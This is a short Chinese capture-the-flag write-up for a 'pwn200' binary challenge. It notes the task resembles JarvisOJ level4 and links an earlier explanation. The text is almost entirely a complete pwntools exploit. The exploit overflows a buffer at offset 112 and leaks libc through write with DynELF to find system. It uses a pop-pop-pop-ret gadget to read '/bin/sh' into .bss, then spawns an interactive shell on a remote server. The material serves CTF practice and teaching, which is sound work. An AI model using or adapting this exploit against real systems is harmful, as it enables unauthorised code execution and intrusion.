这一题和JarvisOJ中的level4简直不要太像了,只是改变了几个地址,改变了溢出点。
既然前面已经讲解了,这里就不再重复讲了,详细解法请看链接:https://blog.csdn.net/qq_43986365/article/details/95081996
但是这次使用pop_pop_pop_ret将两个合并为一个。
完整exp如下:
#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',59936)
elf=ELF('./pwn200')
write_plt=elf.symbols['write']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x080483d0
func_addr=0x08048484
ppp_addr=0x080485cd
def leak(address):
payload1='a'*112+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)
p.send(payload1)
data=p.recv(4)
return data
print p.recvline()
d=DynELF(leak,elf=ELF('./pwn200'))
sys_addr=d.lookup('__libc_system','libc')
payload2='a'*112+p32(start_addr)
p.send(payload2)
print p.recv()
bss_addr=elf.bss()
print "bss_addr="+hex(bss_addr)
payload3='a'*112+p32(read_plt)+p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(8)+p32(sys_addr)+p32(func_addr)+p32(bss_addr)
p.send(payload3)
p.send('/bin/sh')
p.interactive()